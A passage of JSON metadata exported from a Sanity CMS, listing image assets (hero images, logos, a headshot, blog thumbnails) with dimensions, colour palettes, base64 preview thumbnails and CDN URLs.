alette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2d4c4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc26f","foreground":"#000","population":0.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven Backmarket Hero 1.png","path":"images/sczeoy4w/production/ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628.png","sha1hash":"ddb065fa6250aebc43c6cb314c5d12224a6e0d8b","size":34335,"uploadId":"ysDvngsJUc66pkui1G2w2VoHxQos4zoW","url":"https://cdn.sanity.io/images/sczeoy4w/production/ddb065fa6250aebc43c6cb314c5d12224a6e0d8b-1200x628.png"} {"_createdAt":"2022-06-15T20:02:27Z","_id":"image-de01b545655122d35ec2c68fec14641ad2f1db77-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdX7C","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:36Z","assetId":"de01b545655122d35ec2c68fec14641ad2f1db77","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPP~~8.A_N4nwIcHWBJ8$$aL.8VqD%tSt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIElEQVQokR3M23MTZRiA8f0XvVFnGC9wRGcckLHazjAKihadLdZS20JDSc8ypCRURKeSJk0dZLA0aZqkSZpN9pDst8fv20OyuzRNm/d18OK5+V08nKQYI0JLXWo0OymhpT4WZSNJdDdpszBJnWjDdqI124kWqd2LU8NdpKYXpzSI07fmRHFNd5ZlRU8Rna1TFtzg6g0lXjysC4Vi1S2W6rR81GSSYjCLBsx2ImrbXYuJLdN/mTF7f6ZMP5sxzMqxqciaqXRMQ1Z0s9VqO4RYEmN+imurdEOUdaclaShKOoqygURz0GYh2jRAKtTQfzaP/uwI0ttj2Lk7haXN33AnncXc7gss5IvYqB+jQbSuR1mGs1n4yGah/f+AhUObBfA26kRgawbQ7BqYUx9Ajb8EO1PfwZPJCVienh7enZkePlyZh71catip/YMuabpdS09z1IkS1IkodSKkTgjUCZGyAEwaoCQoUEouwC7/Kfx6+zpM/PgDjI6OwhcjV2Hy1pewk/gGyL/T0BOeYkgqXmgqaY6yIEFZQCnrIWNdYMxHSj0UVR9zBQOfbGZxZYbH8a8/x6tXPsGPL76Lly+9h/HJz7CZ+RajyhycyNt4ole9E6OZ5hjzEw7zqEtddKkz9CgFx7KhLjJ4/lqF3O5zePX0FsT5D2Hs8vvw1ZV3YHzsAiQf3ASyvwp98S/oqwU81WveQK+mOc+2E55l2Z5lom8Zw56lQdckoHc0aAkCmNVn0CvegaOt72H5l2vw8/gIzP10HbaSS2DWXsCAHA7PSAnPtZJ7Tg7TXK/d2nBlgVFFQI+IGBoyRqaEkSFipDXwpLOHAyWL3UYG97ZTuLoYw4XYPfx9Yx3bxRyeqQc4JAcIpOADyW9zYaM461TzB3r9oM3kqhTpgtw3BLmvH8unel0+1Y7kM60i+618O//3lvb40UPrfixmrC7Mdsq7m3JfeiUhybdBzZdBza9xb+TKhZ5YuuFJ5YmgU+X7ep0/1ev8QK/yA63Cn2ll/pyU+E4xN/lHcn1+dXlpbf7e3NJKbOZOMZviw+ZLHtT9CST5m6Duf/Qf07rY3RshGyAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3748","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d5012","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65a24","foreground":"#fff","population":2.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7bebd","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ad4fa","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#846c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65a24","foreground":"#fff","population":2.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"de01b545655122d35ec2c68fec14641ad2f1db77-1567x844.png","path":"images/sczeoy4w/production/de01b545655122d35ec2c68fec14641ad2f1db77-1567x844.png","sha1hash":"de01b545655122d35ec2c68fec14641ad2f1db77","size":492689,"uploadId":"CPbHoiTSBPxrHzkePvL9p8TmT7ifpDar","url":"https://cdn.sanity.io/images/sczeoy4w/production/de01b545655122d35ec2c68fec14641ad2f1db77-1567x844.png"} {"_createdAt":"2024-01-30T08:10:12Z","_id":"image-de14f2cb52384b10b59bb575717cdb5314a52bd0-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ9mWWJ","_type":"sanity.imageAsset","_updatedAt":"2024-01-30T08:10:12Z","assetId":"de14f2cb52384b10b59bb575717cdb5314a52bd0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Ad1:0J-f?F02~V9v%M%LEO00^%W?Ir^$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACqUlEQVQokUWSyU5TAQBF3xe40GBp6VPbRwc7Ap3oQB/pBNTWSgtRgxpiUBERKRRopX3YiUIDTqgkYmLiQmNUEjQsXOnCxPgD/s4xwRhXd3GTk7M4gtl5k7HLTYbSFWyuWezuezh9BayuApJtAY00j0qXp1NaQt1dosuoYHA2cQUe4PZO4/bO4PBWOG1Rjn7BaJ8id6nB+bEq/XKBfnmFULSMf7CCw1NCd7aAaFrilLmIaFpFctRJZnfJz26ycn2S1Zk57s4+IxR/hNakIGilqwQGF4mMlAjHiwzE7hOOK8iJKsFoDZ9cwxtu4JVb2LwN3OFtipV9Pu3t8bk1zfeXNb68/cLUnXfoHesIGv0VvAPzJNJlkheqDGdqDGeaJEc3SOW2SY09Jj3+lPT4c4KxbYLxp7S2vvLjYJ+fuyV+v3/Er6/fyK8cYOx7+NfQP7jAcEY5Ap4bbZDKtUiObpJIbxI91yaW2mYo8wR/ZIueQJvb8x/4+OYzhzt1Dl+ss7fzntzEa/SOLYQu6Sq+cJ5EusJI5sFfYLZFPNUkGKnSP1gnGG0RirfpC25gcNYJxHaYuvWK+VtVpifvc350A6tnHdHcQFCfmaDHO0M4uoScKCEnykRGqkSTDQbidUKxJvLQJsFYG7uviWSvYfW08ckP8QRrODxlDI4KoqlMl7GCcFIzjsV0BZd7ml7fHFbXHH2BZSIjdeShBr1+BZtHweJeQ2dT0FmrOP1beMKPsbjXkexr6G0Kp8yraAyrCCdUWSQxh8V8DaPtJqLxBt22WXzhMp6Qgs6yhFpaQN29jKa7hGhew9DT4qxr4wgkmktoTUU0hiIaYxnhWEeW46osHZqLdIgTnNBeQ3VmCp1lDp0lj/pf2Pr/YWtN1aNVSyt06guo9It0Sst0mdb4A/PdiiTvShh2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":11.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b95c1","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9af95","foreground":"#000","population":1.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#70708f","foreground":"#fff","population":3.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b77d52","foreground":"#fff","population":1.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Helthjem2.png","path":"images/sczeoy4w/production/de14f2cb52384b10b59bb575717cdb5314a52bd0-1200x628.png","sha1hash":"de14f2cb52384b10b59bb575717cdb5314a52bd0","size":297826,"uploadId":"4ABy8sOw75ht70Z84Dc3hfG5bFuMk8B4","url":"https://cdn.sanity.io/images/sczeoy4w/production/de14f2cb52384b10b59bb575717cdb5314a52bd0-1200x628.png"} {"_createdAt":"2023-01-18T12:32:51Z","_id":"image-de2b6e52fb2352f787f3f6a3e05eeded90826921-1567x844-jpg","_rev":"xxq72TYoCux1QbSIcAdeYV","_type":"sanity.imageAsset","_updatedAt":"2023-01-18T12:32:51Z","assetId":"de2b6e52fb2352f787f3f6a3e05eeded90826921","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M86uk~_3MxRPoM_N%NM{RkkBIURPofogof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAgMH/8QAHhAAAQQCAwEAAAAAAAAAAAAAAQACAwQRMQUTISL/xAAWAQEBAQAAAAAAAAAAAAAAAAACBQb/xAAXEQEAAwAAAAAAAAAAAAAAAAAAAQJB/9oADAMBAAIRAxEAPwDmMFviBXYHiLsDRn4S3lrVCYOZBD6BkPZ4MpVY0zWlmFp4rqJNsRhCsUJg/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344f73","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":58.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4acd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97aae7","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607695","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b24c4b","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"OpenSearch_Analyzers_blog.jpg","path":"images/sczeoy4w/production/de2b6e52fb2352f787f3f6a3e05eeded90826921-1567x844.jpg","sha1hash":"de2b6e52fb2352f787f3f6a3e05eeded90826921","size":69523,"uploadId":"GK3UdgUrscOe1Cli0DzXSV2gV57XBkCy","url":"https://cdn.sanity.io/images/sczeoy4w/production/de2b6e52fb2352f787f3f6a3e05eeded90826921-1567x844.jpg"} {"_createdAt":"2022-09-30T15:36:08Z","_id":"image-de70c041593456246af6fe81fc7c104b165e4ed8-1723x679-png","_rev":"vDQRRYe9nRreptIRp5kBK3","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:08Z","assetId":"de70c041593456246af6fe81fc7c104b165e4ed8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5SYz5QSxr?]M_.S?]n4M|o#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5375552282768776,"height":679,"width":1723},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABaklEQVQokX2Q227bMBAF9f8f2BROGlnWhZRE8b6k5Nqewk6fvcAAgwUWOHuaXTw1zOwS2LNlD4o9B2SxyLSSk7DmismVJDurq9hQCbKjYsHmirhEHDfERhqJjmhnJAVK8kgw1BxJxhFnQ44ZEzM2ZlIuGJtwIRNzYQ0Jn4TkI15vJBdpsl7w3YCsG3XdKGpm3xyiFtKgKJsj6xXR5uWhVyS1UDZPnhbKal+38aKQ2dBI2xN/nSiXCWlH0kdL7WfyV0/6OFPHGfnqXuzTQj117O3IdVo5Pi9cL5pj/NkfvaZJZsarjrwZnDYsnSYah1OWbTBk63Fa4WbNERI3F7mFxD0XbjZyj5l7kv8uNNEZnFGk4PCbZ9Xm1UmwEWcCEjPebi+ux8Hj8XhLI91EOrWUcaZcFPmzoz67OU/In55dG+R7QNqBv1J48H6a4zyx/z5zHWau54nj6ePC8T1wnLqfrr76F883nyl4k/AfINxiSgprAGoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#488858","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba0c34","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f488a8","foreground":"#000","population":0.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cecba6","foreground":"#000","population":0.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f488a8","foreground":"#000","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8cab60","foreground":"#000","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6235c","foreground":"#fff","population":0.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"de70c041593456246af6fe81fc7c104b165e4ed8-1723x679.png","path":"images/sczeoy4w/production/de70c041593456246af6fe81fc7c104b165e4ed8-1723x679.png","sha1hash":"de70c041593456246af6fe81fc7c104b165e4ed8","size":139831,"uploadId":"5cv8SoI5StDhbT0qUeKrTitSRDYZ1ZHK","url":"https://cdn.sanity.io/images/sczeoy4w/production/de70c041593456246af6fe81fc7c104b165e4ed8-1723x679.png"} {"_createdAt":"2022-06-16T23:49:33Z","_id":"image-dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVPB1","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:33Z","assetId":"dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSB0Z|1RkF{[.%5ahe.oeVt+uJooew]I=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EAB8QAAICAgIDAQAAAAAAAAAAAAECAwQAERIhBTFBkf/EABcBAAMBAAAAAAAAAAAAAAAAAAEFBgf/xAAbEQEBAAMAAwAAAAAAAAAAAAABAgADEQUVkf/aAAwDAQACEQMRAD8A0oBSWBdwo0gXve+zib9mt4/xRsrwimll4cSnLimvYyh+4V6H5ipoY7CKk6B1XsA/Mh/ZsbBs6ZrG2W5QX7iqIr2KUMpDlmXbEDQ3vDKoY1jjVEUKo9AYYt2+RqrWThhloA7n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c9c1","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6849e","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Ometria_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729-1200x630.jpg","sha1hash":"dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729","size":201318,"uploadId":"kDUUHWy6eKeCf1bV7h5mmIlF6nY2iBPm","url":"https://cdn.sanity.io/images/sczeoy4w/production/dec16fa1fb45b12b8c14e4c9779aa34a9e5a0729-1200x630.jpg"} {"_createdAt":"2023-05-30T14:29:58Z","_id":"image-dec233fa8cf632b4dc01da9bba8af275ec77059f-78x24-svg","_rev":"Bg5HPBiLdZofLBzDEeN7vo","_type":"sanity.imageAsset","_updatedAt":"2023-05-30T14:29:58Z","assetId":"dec233fa8cf632b4dc01da9bba8af275ec77059f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.25,"height":24,"width":78},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQYlU2Ry0qbURSFv98kJNGoE4stJQMdBNR6aSKtl94gYEm9gvVaWoq+Q5K/SQQ7CEIRSQeFQtFpx871BRzkJfoQCSV7yfk5AweLs9feh7MO+0Nl/qkadFRLS/V+WRj7b2VuVaZ4cxDEgUQ6Tj+QdDUQ9YCUV9z7dHSq2tfV90c9XcxIrbypmTWrpe5UYeNwKhgCZgN4DywCc14FYBlYAqa9d/MJ1MhIrefSnxWzqzXT73eyZratWt/Wm6eMAtsBhMARsAscA1+AA2AP+Oq9C11AJ0PSz4J0+cH095PpsiQ7G2urnth6/YTHwMcAvgGfgRKwD2y6IF+7APfoCvASCxNdnY70dD4p/Vo2+5Eza2TuFAbrOzmGgXwAq8A8MAbkgHHgBfDWzaOfwSvgGRGUCh2FcamWlKoeSoXi9Xa08GQyxqCH4rxTzEMYeAAo4+7cA0PaeT4Oeex+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":66.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#540c04","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":66.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#956b03","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd87f","foreground":"#000","population":0.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#944604","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87608","foreground":"#fff","population":22.22,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-byoc.svg","path":"images/sczeoy4w/production/dec233fa8cf632b4dc01da9bba8af275ec77059f-78x24.svg","sha1hash":"dec233fa8cf632b4dc01da9bba8af275ec77059f","size":3499,"uploadId":"c8QlRndKtN73h1oAqylhGf05a2hFdHcw","url":"https://cdn.sanity.io/images/sczeoy4w/production/dec233fa8cf632b4dc01da9bba8af275ec77059f-78x24.svg"} {"_createdAt":"2022-06-16T22:53:46Z","_id":"image-df0db25b220c9e25ad49ade5c220b7bcc8ee89c5-116x44-svg","_rev":"oamrAPLmQLQjd9jh7ZoFE2","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:46Z","assetId":"df0db25b220c9e25ad49ade5c220b7bcc8ee89c5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DuGks%{ko2K1njS}WVt6r@r@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6363636363636362,"height":44,"width":116},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLElEQVQokS2Sz0tUcRTFX9DKkkgoooJCKOd+R7MgalGE830zGvc7jgyaOtMwep5azaSIPyphRANLNKtFRbUxy0VC3ifUQmijy6JVRJuWEhLqzHvSXxBPW1wOZ3E/nMs9lqeZfM3Jkm3yGzHTvxEzuZLNLb7mWl+b/ZtRY1n+gLWSTlghF5YSWBTokmORYI9yd7ScBEyCR5avOf/7arz5xdC1uPP0enfvVCq3kGvOrnE842mu247wQRLsVYKjSnCOBGESHCLBcdr11SS4SIIRErwKgLNf2puS5xc6cyHX+RwWrNpz2amPXcnekm3uepoj6WeZyirXSSrBbRLcJEGaBB0kyJHgFgmGSfCaBM8D4KdvrU2ZC+87B8l1fiqBX7XkLIyPtaEYNdPFqCkMP0g1nV5y8mFBSgl6SPCSBNMkaCNBV3AqCR6ToDsAzq03xAcHJlMJcjFavYj5Mx9w501fS6unebYYNe8mRtvyIRcFJbihdhMFyxMkyJKgjwQzJCiQoMHyNKc8zf2/Eo1XCvfba2dGWpuXkexcb4hP+Zq/bkXN27Hx9h5y8VAJRpUgQ4J6EjT+T5cnAUiQIEFNADzsab60HeGzfyOsfM1DvuZlX/MPX/PqZszke56k7ZDrZMOCuuA5JNhHggMkOEGCkyQ4QoIKEpRZXoStks1lmzFTvhU1lZ7Nk57Na57N333N9/7Um1OX5zuOkYua8CIqyHV2qyM7ddmZwCtxLOXC+gepEgb/i8AWngAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d2d2d","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#047424","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3e4e","foreground":"#fff","population":1.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#96020e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3e4e","foreground":"#fff","population":1.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#996c5e","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed2c44","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Paf.svg","path":"images/sczeoy4w/production/df0db25b220c9e25ad49ade5c220b7bcc8ee89c5-116x44.svg","sha1hash":"df0db25b220c9e25ad49ade5c220b7bcc8ee89c5","size":5499,"uploadId":"RXHwT5sqd5XjBKWS83v9EV0AE4wfTpWL","url":"https://cdn.sanity.io/images/sczeoy4w/production/df0db25b220c9e25ad49ade5c220b7bcc8ee89c5-116x44.svg"} {"_createdAt":"2022-09-02T15:29:58Z","_id":"image-df1bbd2401a240e0212b0af062a40d8aa953d520-800x800-jpg","_rev":"EU2LgqOF5HzqTxO9PWRjIk","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T15:29:58Z","assetId":"df1bbd2401a240e0212b0af062a40d8aa953d520","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"epQ0N]of_NWBMx%1jtx]t7M{X9azMxWCtRxuf6jFf6aytRj[WBj]Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcCBAYI/8QAJBAAAQQCAgIBBQAAAAAAAAAAAQACAwQFEQYhEjEHIkFRYaH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAv/EABoRAAMAAwEAAAAAAAAAAAAAAAABAgMRMUH/2gAMAwEAAhEDEQA/APRXPL9rG8VvWqB1ZYz6Trev2p18eZvIu5FTrOyFi3HO0mds3fidfb8Kk561DZx9ipHp7pGFu/YCmPAcfYwHKrEuWZ5MDPGORvo7RXNOlofHUKK30tKLCGVk0TZIztrhsFEoBx0HTAFq5AAscSOwOkRL6QdBw2V82AgfIdu2R/UREb6Wf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48352c","foreground":"#fff","population":3.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#633221","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#966e5b","foreground":"#fff","population":5.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbdb0","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1a18c","foreground":"#000","population":2.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966e5b","foreground":"#fff","population":5.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4947e","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"tuomas-lounamaa.jpg","path":"images/sczeoy4w/production/df1bbd2401a240e0212b0af062a40d8aa953d520-800x800.jpg","sha1hash":"df1bbd2401a240e0212b0af062a40d8aa953d520","size":38698,"uploadId":"leYg6prwdLeqrpF4QPSNIxmff6hHTdL2","url":"https://cdn.sanity.io/images/sczeoy4w/production/df1bbd2401a240e0212b0af062a40d8aa953d520-800x800.jpg"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-df56110fbc86b7f9bf0475285e44d81ef4b0a81d-20x22-svg","_rev":"cEPH2uRN58AU2lp9QMtDfF","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"df56110fbc86b7f9bf0475285e44d81ef4b0a81d","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9090909090909091,"height":22,"width":20},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0klEQVQ4jZ2VPUoDURSFj4WFELDQIFrqDgK6AgvjAmKlxjmPFKnchoLuQAtNmWxBS0WMG1CIjdt4R+6bOyaMP5lx4MJlfs7cn+/eB9S41MWCiKaIjohRJN5FTCIxTPcC1uroQRkaIvZFDCIxFvHoZv7AROsJElsizlzsJhLHZua76LCuYMtS9ai6yrAaM6wmn3iMxKSaUB9QwJKIPRH3Ip4LQZ1MBRXmCMrsGIsi1kXsirgQ8SbiQ8StC3XdHytgiBhS56zYWzFPqeW1WhaxEoltEaee6rPbk4iXb00J6MAxaFux/aOR+4ciepG4EvFg5n7Pn+Xvh4TMmQLaCmia4MEPGLx4FEVE9pNTj3bFo7csWgrJNmNAw7KFA1rG4Nbr9OZ1s/qtp3pWQGHyCwZj7+he6nC/IluxJDiDQSHYVoYlZRUFlc9hSrmEQZHypae8EU+qpdzxOZzbFGXYUTZtSgmzRt6UUMKmwIA4jDkiBTb2o2vH5kjEeQmzdsJmFuxZDFIU2RTsWAVsztk2afS6Pnrha/Rei9H797ZRsRxCQuhudjnE/2ybv9aX6mybHwTTgv0Fs3zb1BS05hkRZcym26bOlYjIMevYwZSmLCQbmpgdUp8vbxImtHgc0QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79593e","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e2104","foreground":"#fff","population":0.68,"title":"#fff"},"dominant":{"_type":"sani